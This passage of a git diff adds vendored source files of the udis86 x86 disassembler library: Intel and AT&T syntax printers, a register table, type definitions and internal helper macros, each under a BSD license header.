(u->mnemonic) { + case UD_Iretf: + ud_asmprintf(u, "lret "); + break; + case UD_Idb: + ud_asmprintf(u, ".byte 0x%x", u->operand[0].lval.ubyte); + return; + case UD_Ijmp: + case UD_Icall: + if (u->br_far) ud_asmprintf(u, "l"); + if (u->operand[0].type == UD_OP_REG) { + star = 1; + } + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + break; + case UD_Ibound: + case UD_Ienter: + if (u->operand[0].type != UD_NONE) + gen_operand(u, &u->operand[0]); + if (u->operand[1].type != UD_NONE) { + ud_asmprintf(u, ","); + gen_operand(u, &u->operand[1]); + } + return; + default: + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + } + + if (size == 8) { + ud_asmprintf(u, "b"); + } else if (size == 16) { + ud_asmprintf(u, "w"); + } else if (size == 64) { + ud_asmprintf(u, "q"); + } + + if (star) { + ud_asmprintf(u, " *"); + } else { + ud_asmprintf(u, " "); + } + + if (u->operand[3].type != UD_NONE) { + gen_operand(u, &u->operand[3]); + ud_asmprintf(u, ", "); + } + if (u->operand[2].type != UD_NONE) { + gen_operand(u, &u->operand[2]); + ud_asmprintf(u, ", "); + } + if (u->operand[1].type != UD_NONE) { + gen_operand(u, &u->operand[1]); + ud_asmprintf(u, ", "); + } + if (u->operand[0].type != UD_NONE) { + gen_operand(u, &u->operand[0]); + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/syn-intel.c b/lib/libudis86-sys/libudis86/syn-intel.c new file mode 100644 index 0000000..0664fea --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn-intel.c @@ -0,0 +1,224 @@ +/* udis86 - libudis86/syn-intel.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "extern.h" +#include "decode.h" +#include "itab.h" +#include "syn.h" +#include "udint.h" + +/* ----------------------------------------------------------------------------- + * opr_cast() - Prints an operand cast. + * ----------------------------------------------------------------------------- + */ +static void +opr_cast(struct ud* u, struct ud_operand* op) +{ + if (u->br_far) { + ud_asmprintf(u, "far "); + } + switch(op->size) { + case 8: ud_asmprintf(u, "byte " ); break; + case 16: ud_asmprintf(u, "word " ); break; + case 32: ud_asmprintf(u, "dword "); break; + case 64: ud_asmprintf(u, "qword "); break; + case 80: ud_asmprintf(u, "tword "); break; + case 128: ud_asmprintf(u, "oword "); break; + case 256: ud_asmprintf(u, "yword "); break; + default: break; + } +} + +/* ----------------------------------------------------------------------------- + * gen_operand() - Generates assembly output for each operand. + * ----------------------------------------------------------------------------- + */ +static void gen_operand(struct ud* u, struct ud_operand* op, int syn_cast) +{ + switch(op->type) { + case UD_OP_REG: + ud_asmprintf(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + break; + + case UD_OP_MEM: + if (syn_cast) { + opr_cast(u, op); + } + ud_asmprintf(u, "["); + if (u->pfx_seg) { + ud_asmprintf(u, "%s:", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + if (op->base) { + ud_asmprintf(u, "%s", ud_reg_tab[op->base - UD_R_AL]); + } + if (op->index) { + ud_asmprintf(u, "%s%s", op->base != UD_NONE? "+" : "", + ud_reg_tab[op->index - UD_R_AL]); + if (op->scale) { + ud_asmprintf(u, "*%d", op->scale); + } + } + if (op->offset != 0) { + ud_syn_print_mem_disp(u, op, (op->base != UD_NONE || + op->index != UD_NONE) ? 1 : 0); + } + ud_asmprintf(u, "]"); + break; + + case UD_OP_IMM: + ud_syn_print_imm(u, op); + break; + + + case UD_OP_JIMM: + ud_syn_print_addr(u, ud_syn_rel_target(u, op)); + break; + + case UD_OP_PTR: + switch (op->size) { + case 32: + ud_asmprintf(u, "word 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off & 0xFFFF); + break; + case 48: + ud_asmprintf(u, "dword 0x%x:0x%x", op->lval.ptr.seg, + op->lval.ptr.off); + break; + } + break; + + case UD_OP_CONST: + if (syn_cast) opr_cast(u, op); + ud_asmprintf(u, "%d", op->lval.udword); + break; + + default: return; + } +} + +/* ============================================================================= + * translates to intel syntax + * ============================================================================= + */ +extern void +ud_translate_intel(struct ud* u) +{ + /* check if P_OSO prefix is used */ + if (!P_OSO(u->itab_entry->prefix) && u->pfx_opr) { + switch (u->dis_mode) { + case 16: ud_asmprintf(u, "o32 "); break; + case 32: + case 64: ud_asmprintf(u, "o16 "); break; + } + } + + /* check if P_ASO prefix was used */ + if (!P_ASO(u->itab_entry->prefix) && u->pfx_adr) { + switch (u->dis_mode) { + case 16: ud_asmprintf(u, "a32 "); break; + case 32: ud_asmprintf(u, "a16 "); break; + case 64: ud_asmprintf(u, "a32 "); break; + } + } + + if (u->pfx_seg && + u->operand[0].type != UD_OP_MEM && + u->operand[1].type != UD_OP_MEM ) { + ud_asmprintf(u, "%s ", ud_reg_tab[u->pfx_seg - UD_R_AL]); + } + + if (u->pfx_lock) { + ud_asmprintf(u, "lock "); + } + if (u->pfx_rep) { + ud_asmprintf(u, "rep "); + } else if (u->pfx_repe) { + ud_asmprintf(u, "repe "); + } else if (u->pfx_repne) { + ud_asmprintf(u, "repne "); + } + + /* print the instruction mnemonic */ + ud_asmprintf(u, "%s", ud_lookup_mnemonic(u->mnemonic)); + + if (u->operand[0].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, " "); + if (u->operand[0].type == UD_OP_MEM) { + if (u->operand[1].type == UD_OP_IMM || + u->operand[1].type == UD_OP_CONST || + u->operand[1].type == UD_NONE || + (u->operand[0].size != u->operand[1].size)) { + cast = 1; + } else if (u->operand[1].type == UD_OP_REG && + u->operand[1].base == UD_R_CL) { + switch (u->mnemonic) { + case UD_Ircl: + case UD_Irol: + case UD_Iror: + case UD_Ircr: + case UD_Ishl: + case UD_Ishr: + case UD_Isar: + cast = 1; + break; + default: break; + } + } + } + gen_operand(u, &u->operand[0], cast); + } + + if (u->operand[1].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, ", "); + if (u->operand[1].type == UD_OP_MEM && + u->operand[0].size != u->operand[1].size && + !ud_opr_is_sreg(&u->operand[0])) { + cast = 1; + } + gen_operand(u, &u->operand[1], cast); + } + + if (u->operand[2].type != UD_NONE) { + int cast = 0; + ud_asmprintf(u, ", "); + if (u->operand[2].type == UD_OP_MEM && + u->operand[2].size != u->operand[1].size) { + cast = 1; + } + gen_operand(u, &u->operand[2], cast); + } + + if (u->operand[3].type != UD_NONE) { + ud_asmprintf(u, ", "); + gen_operand(u, &u->operand[3], 0); + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/syn.c b/lib/libudis86-sys/libudis86/syn.c new file mode 100644 index 0000000..1b9e1d4 --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn.c @@ -0,0 +1,212 @@ +/* udis86 - libudis86/syn.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "types.h" +#include "decode.h" +#include "syn.h" +#include "udint.h" + +/* + * Register Table - Order Matters (types.h)! + * + */ +const char* ud_reg_tab[] = +{ + "al", "cl", "dl", "bl", + "ah", "ch", "dh", "bh", + "spl", "bpl", "sil", "dil", + "r8b", "r9b", "r10b", "r11b", + "r12b", "r13b", "r14b", "r15b", + + "ax", "cx", "dx", "bx", + "sp", "bp", "si", "di", + "r8w", "r9w", "r10w", "r11w", + "r12w", "r13w", "r14w", "r15w", + + "eax", "ecx", "edx", "ebx", + "esp", "ebp", "esi", "edi", + "r8d", "r9d", "r10d", "r11d", + "r12d", "r13d", "r14d", "r15d", + + "rax", "rcx", "rdx", "rbx", + "rsp", "rbp", "rsi", "rdi", + "r8", "r9", "r10", "r11", + "r12", "r13", "r14", "r15", + + "es", "cs", "ss", "ds", + "fs", "gs", + + "cr0", "cr1", "cr2", "cr3", + "cr4", "cr5", "cr6", "cr7", + "cr8", "cr9", "cr10", "cr11", + "cr12", "cr13", "cr14", "cr15", + + "dr0", "dr1", "dr2", "dr3", + "dr4", "dr5", "dr6", "dr7", + "dr8", "dr9", "dr10", "dr11", + "dr12", "dr13", "dr14", "dr15", + + "mm0", "mm1", "mm2", "mm3", + "mm4", "mm5", "mm6", "mm7", + + "st0", "st1", "st2", "st3", + "st4", "st5", "st6", "st7", + + "xmm0", "xmm1", "xmm2", "xmm3", + "xmm4", "xmm5", "xmm6", "xmm7", + "xmm8", "xmm9", "xmm10", "xmm11", + "xmm12", "xmm13", "xmm14", "xmm15", + + "ymm0", "ymm1", "ymm2", "ymm3", + "ymm4", "ymm5", "ymm6", "ymm7", + "ymm8", "ymm9", "ymm10", "ymm11", + "ymm12", "ymm13", "ymm14", "ymm15", + + "rip" +}; + + +uint64_t +ud_syn_rel_target(struct ud *u, struct ud_operand *opr) +{ + const uint64_t trunc_mask = 0xffffffffffffffffull >> (64 - u->opr_mode); + switch (opr->size) { + case 8 : return (u->pc + opr->lval.sbyte) & trunc_mask; + case 16: return (u->pc + opr->lval.sword) & trunc_mask; + case 32: return (u->pc + opr->lval.sdword) & trunc_mask; + default: UD_ASSERT(!"invalid relative offset size."); + return 0ull; + } +} + + +/* + * asmprintf + * Printf style function for printing translated assembly + * output. Returns the number of characters written and + * moves the buffer pointer forward. On an overflow, + * returns a negative number and truncates the output. + */ +int +ud_asmprintf(struct ud *u, const char *fmt, ...) +{ + int ret; + int avail; + va_list ap; + va_start(ap, fmt); + avail = u->asm_buf_size - u->asm_buf_fill - 1 /* nullchar */; + ret = vsnprintf((char*) u->asm_buf + u->asm_buf_fill, avail, fmt, ap); + if (ret < 0 || ret > avail) { + u->asm_buf_fill = u->asm_buf_size - 1; + } else { + u->asm_buf_fill += ret; + } + va_end(ap); + return ret; +} + + +void +ud_syn_print_addr(struct ud *u, uint64_t addr) +{ + const char *name = NULL; + if (u->sym_resolver) { + int64_t offset = 0; + name = u->sym_resolver(u, addr, &offset); + if (name) { + if (offset) { + ud_asmprintf(u, "%s%+" FMT64 "d", name, offset); + } else { + ud_asmprintf(u, "%s", name); + } + return; + } + } + ud_asmprintf(u, "0x%" FMT64 "x", addr); +} + + +void +ud_syn_print_imm(struct ud* u, const struct ud_operand *op) +{ + uint64_t v; + if (op->_oprcode == OP_sI && op->size != u->opr_mode) { + if (op->size == 8) { + v = (int64_t)op->lval.sbyte; + } else { + UD_ASSERT(op->size == 32); + v = (int64_t)op->lval.sdword; + } + if (u->opr_mode < 64) { + v = v & ((1ull << u->opr_mode) - 1ull); + } + } else { + switch (op->size) { + case 8 : v = op->lval.ubyte; break; + case 16: v = op->lval.uword; break; + case 32: v = op->lval.udword; break; + case 64: v = op->lval.uqword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + } + ud_asmprintf(u, "0x%" FMT64 "x", v); +} + + +void +ud_syn_print_mem_disp(struct ud* u, const struct ud_operand *op, int sign) +{ + UD_ASSERT(op->offset != 0); + if (op->base == UD_NONE && op->index == UD_NONE) { + uint64_t v; + UD_ASSERT(op->scale == UD_NONE && op->offset != 8); + /* unsigned mem-offset */ + switch (op->offset) { + case 16: v = op->lval.uword; break; + case 32: v = op->lval.udword; break; + case 64: v = op->lval.uqword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + ud_asmprintf(u, "0x%" FMT64 "x", v); + } else { + int64_t v; + UD_ASSERT(op->offset != 64); + switch (op->offset) { + case 8 : v = op->lval.sbyte; break; + case 16: v = op->lval.sword; break; + case 32: v = op->lval.sdword; break; + default: UD_ASSERT(!"invalid offset"); v = 0; /* keep cc happy */ + } + if (v < 0) { + ud_asmprintf(u, "-0x%" FMT64 "x", -v); + } else if (v > 0) { + ud_asmprintf(u, "%s0x%" FMT64 "x", sign? "+" : "", v); + } + } +} + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/syn.h b/lib/libudis86-sys/libudis86/syn.h new file mode 100644 index 0000000..d3b1e3f --- /dev/null +++ b/lib/libudis86-sys/libudis86/syn.h @@ -0,0 +1,53 @@ +/* udis86 - libudis86/syn.h + * + * Copyright (c) 2002-2009 + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_SYN_H +#define UD_SYN_H + +#include "types.h" +#ifndef __UD_STANDALONE__ +# include +#endif /* __UD_STANDALONE__ */ + +extern const char* ud_reg_tab[]; + +uint64_t ud_syn_rel_target(struct ud*, struct ud_operand*); + +#ifdef __GNUC__ +int ud_asmprintf(struct ud *u, const char *fmt, ...) + __attribute__ ((format (printf, 2, 3))); +#else +int ud_asmprintf(struct ud *u, const char *fmt, ...); +#endif + +void ud_syn_print_addr(struct ud *u, uint64_t addr); +void ud_syn_print_imm(struct ud* u, const struct ud_operand *op); +void ud_syn_print_mem_disp(struct ud* u, const struct ud_operand *, int sign); + +#endif /* UD_SYN_H */ + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/types.h b/lib/libudis86-sys/libudis86/types.h new file mode 100644 index 0000000..69072ca --- /dev/null +++ b/lib/libudis86-sys/libudis86/types.h @@ -0,0 +1,260 @@ +/* udis86 - libudis86/types.h + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef UD_TYPES_H +#define UD_TYPES_H + +#ifdef __KERNEL__ + /* + * -D__KERNEL__ is automatically passed on the command line when + * building something as part of the Linux kernel. Assume standalone + * mode. + */ +# include +# include +# ifndef __UD_STANDALONE__ +# define __UD_STANDALONE__ 1 +# endif +#endif /* __KERNEL__ */ + +#if !defined(__UD_STANDALONE__) +# include +# include +#endif + +/* gcc specific extensions */ +#ifdef __GNUC__ +# define UD_ATTR_PACKED __attribute__((packed)) +#else +# define UD_ATTR_PACKED +#endif /* UD_ATTR_PACKED */ + + +/* ----------------------------------------------------------------------------- + * All possible "types" of objects in udis86. Order is Important! + * ----------------------------------------------------------------------------- + */ +enum ud_type +{ + UD_NONE, + + /* 8 bit GPRs */ + UD_R_AL, UD_R_CL, UD_R_DL, UD_R_BL, + UD_R_AH, UD_R_CH, UD_R_DH, UD_R_BH, + UD_R_SPL, UD_R_BPL, UD_R_SIL, UD_R_DIL, + UD_R_R8B, UD_R_R9B, UD_R_R10B, UD_R_R11B, + UD_R_R12B, UD_R_R13B, UD_R_R14B, UD_R_R15B, + + /* 16 bit GPRs */ + UD_R_AX, UD_R_CX, UD_R_DX, UD_R_BX, + UD_R_SP, UD_R_BP, UD_R_SI, UD_R_DI, + UD_R_R8W, UD_R_R9W, UD_R_R10W, UD_R_R11W, + UD_R_R12W, UD_R_R13W, UD_R_R14W, UD_R_R15W, + + /* 32 bit GPRs */ + UD_R_EAX, UD_R_ECX, UD_R_EDX, UD_R_EBX, + UD_R_ESP, UD_R_EBP, UD_R_ESI, UD_R_EDI, + UD_R_R8D, UD_R_R9D, UD_R_R10D, UD_R_R11D, + UD_R_R12D, UD_R_R13D, UD_R_R14D, UD_R_R15D, + + /* 64 bit GPRs */ + UD_R_RAX, UD_R_RCX, UD_R_RDX, UD_R_RBX, + UD_R_RSP, UD_R_RBP, UD_R_RSI, UD_R_RDI, + UD_R_R8, UD_R_R9, UD_R_R10, UD_R_R11, + UD_R_R12, UD_R_R13, UD_R_R14, UD_R_R15, + + /* segment registers */ + UD_R_ES, UD_R_CS, UD_R_SS, UD_R_DS, + UD_R_FS, UD_R_GS, + + /* control registers*/ + UD_R_CR0, UD_R_CR1, UD_R_CR2, UD_R_CR3, + UD_R_CR4, UD_R_CR5, UD_R_CR6, UD_R_CR7, + UD_R_CR8, UD_R_CR9, UD_R_CR10, UD_R_CR11, + UD_R_CR12, UD_R_CR13, UD_R_CR14, UD_R_CR15, + + /* debug registers */ + UD_R_DR0, UD_R_DR1, UD_R_DR2, UD_R_DR3, + UD_R_DR4, UD_R_DR5, UD_R_DR6, UD_R_DR7, + UD_R_DR8, UD_R_DR9, UD_R_DR10, UD_R_DR11, + UD_R_DR12, UD_R_DR13, UD_R_DR14, UD_R_DR15, + + /* mmx registers */ + UD_R_MM0, UD_R_MM1, UD_R_MM2, UD_R_MM3, + UD_R_MM4, UD_R_MM5, UD_R_MM6, UD_R_MM7, + + /* x87 registers */ + UD_R_ST0, UD_R_ST1, UD_R_ST2, UD_R_ST3, + UD_R_ST4, UD_R_ST5, UD_R_ST6, UD_R_ST7, + + /* extended multimedia registers */ + UD_R_XMM0, UD_R_XMM1, UD_R_XMM2, UD_R_XMM3, + UD_R_XMM4, UD_R_XMM5, UD_R_XMM6, UD_R_XMM7, + UD_R_XMM8, UD_R_XMM9, UD_R_XMM10, UD_R_XMM11, + UD_R_XMM12, UD_R_XMM13, UD_R_XMM14, UD_R_XMM15, + + /* 256B multimedia registers */ + UD_R_YMM0, UD_R_YMM1, UD_R_YMM2, UD_R_YMM3, + UD_R_YMM4, UD_R_YMM5, UD_R_YMM6, UD_R_YMM7, + UD_R_YMM8, UD_R_YMM9, UD_R_YMM10, UD_R_YMM11, + UD_R_YMM12, UD_R_YMM13, UD_R_YMM14, UD_R_YMM15, + + UD_R_RIP, + + /* Operand Types */ + UD_OP_REG, UD_OP_MEM, UD_OP_PTR, UD_OP_IMM, + UD_OP_JIMM, UD_OP_CONST +}; + +#include "itab.h" + +union ud_lval { + int8_t sbyte; + uint8_t ubyte; + int16_t sword; + uint16_t uword; + int32_t sdword; + uint32_t udword; + int64_t sqword; + uint64_t uqword; + struct { + uint16_t seg; + uint32_t off; + } ptr; +}; + +/* ----------------------------------------------------------------------------- + * struct ud_operand - Disassembled instruction Operand. + * ----------------------------------------------------------------------------- + */ +struct ud_operand { + enum ud_type type; + uint16_t size; + enum ud_type base; + enum ud_type index; + uint8_t scale; + uint8_t offset; + union ud_lval lval; + /* + * internal use only + */ + uint64_t _legacy; /* this will be removed in 1.8 */ + uint8_t _oprcode; +}; + +/* ----------------------------------------------------------------------------- + * struct ud - The udis86 object. + * ----------------------------------------------------------------------------- + */ +struct ud +{ + /* + * input buffering + */ + int (*inp_hook) (struct ud*); +#ifndef __UD_STANDALONE__ + FILE* inp_file; +#endif + const uint8_t* inp_buf; + size_t inp_buf_size; + size_t inp_buf_index; + uint8_t inp_curr; + size_t inp_ctr; + uint8_t inp_sess[64]; + int inp_end; + int inp_peek; + + void (*translator)(struct ud*); + uint64_t insn_offset; + char insn_hexcode[64]; + + /* + * Assembly output buffer + */ + char *asm_buf; + size_t asm_buf_size; + size_t asm_buf_fill; + char asm_buf_int[128]; + + /* + * Symbol resolver for use in the translation phase. + */ + const char* (*sym_resolver)(struct ud*, uint64_t addr, int64_t *offset); + + uint8_t dis_mode; + uint64_t pc; + uint8_t vendor; + enum ud_mnemonic_code mnemonic; + struct ud_operand operand[4]; + uint8_t error; + uint8_t _rex; + uint8_t pfx_rex; + uint8_t pfx_seg; + uint8_t pfx_opr; + uint8_t pfx_adr; + uint8_t pfx_lock; + uint8_t pfx_str; + uint8_t pfx_rep; + uint8_t pfx_repe; + uint8_t pfx_repne; + uint8_t opr_mode; + uint8_t adr_mode; + uint8_t br_far; + uint8_t br_near; + uint8_t have_modrm; + uint8_t modrm; + uint8_t modrm_offset; + uint8_t vex_op; + uint8_t vex_b1; + uint8_t vex_b2; + uint8_t primary_opcode; + void * user_opaque_data; + struct ud_itab_entry * itab_entry; + struct ud_lookup_table_list_entry *le; +}; + +/* ----------------------------------------------------------------------------- + * Type-definitions + * ----------------------------------------------------------------------------- + */ +typedef enum ud_type ud_type_t; +typedef enum ud_mnemonic_code ud_mnemonic_code_t; + +typedef struct ud ud_t; +typedef struct ud_operand ud_operand_t; + +#define UD_SYN_INTEL ud_translate_intel +#define UD_SYN_ATT ud_translate_att +#define UD_EOI (-1) +#define UD_INP_CACHE_SZ 32 +#define UD_VENDOR_AMD 0 +#define UD_VENDOR_INTEL 1 +#define UD_VENDOR_ANY 2 + +#endif + +/* +vim: set ts=2 sw=2 expandtab +*/ diff --git a/lib/libudis86-sys/libudis86/udint.h b/lib/libudis86-sys/libudis86/udint.h new file mode 100644 index 0000000..734f0ea --- /dev/null +++ b/lib/libudis86-sys/libudis86/udint.h @@ -0,0 +1,99 @@ +/* udis86 - libudis86/udint.h -- definitions for internal use only + * + * Copyright (c) 2002-2009 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef _UDINT_H_ +#define _UDINT_H_ + +#include "types.h" + +#ifdef HAVE_CONFIG_H +# include +#endif /* HAVE_CONFIG_H */ + +#if defined(UD_DEBUG) && HAVE_ASSERT_H +# include +# define UD_ASSERT(_x) assert(_x) +#else +# define UD_ASSERT(_x) +#endif /* !HAVE_ASSERT_H */ + +#if defined(UD_DEBUG) + #define UDERR(u, msg) \ + do { \ + (u)->error = 1; \ + fprintf(stderr, "decode-error: %s:%d: %s", \ + __FILE__, __LINE__, (msg)); \ + } while (0) +#else + #define UDERR(u, m) \ + do { \ + (u)->error = 1; \ + } while (0) +#endif /* !LOGERR */ + +#define UD_RETURN_ON_ERROR(u) \ + do { \ + if ((u)->error != 0) { \ + return (u)->error; \ + } \ + } while (0) + +#define UD_RETURN_WITH_ERROR(u, m) \ + do { \ + UDERR(u, m); \ + return (u)->error; \ + } while (0) + +#ifndef __UD_STANDALONE__ +# define UD_NON_STANDALONE(x) x +#else +# define UD_NON_STANDALONE(x) +#endif + +/* printf formatting int64 specifier */ +#ifdef FMT64 +# undef FMT64 +#endif +#if defined(_MSC_VER) || defined(__BORLANDC__) +# define FMT64 "I64" +#else +# if defined(__APPLE__) +# define FMT64 "ll" +# elif defined(__amd64__) || defined(__x86_64__) +# define FMT64 "l" +# else +# define FMT64 "ll" +# endif /* !x64 */ +#endif + +/* define an inline macro */ +#if defined(_MSC_VER) || defined(__BORLANDC__) +# define UD_INLINE __inline /* MS Visual Studio requires __inline + instead of inline for C code */ +#else +# define UD_INLINE inline +#endif + +#endif /* _UDINT_H_ */ diff --git a/lib/libudis86-sys/libudis86/udis86.c b/lib/libudis86-sys/libudis86/udis86.c new file mode 100644 index 0000000..e039c4e --- /dev/null +++ b/lib/libudis86-sys/libudis86/udis86.c @@ -0,0 +1,458 @@ +/* udis86 - libudis86/udis86.c + * + * Copyright (c) 2002-2013 Vivek Thampi + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without modification, + * are permitted provided that the following conditions are met: + * + * * Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * * Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR + * ANY DIRECT, INDIRECT, 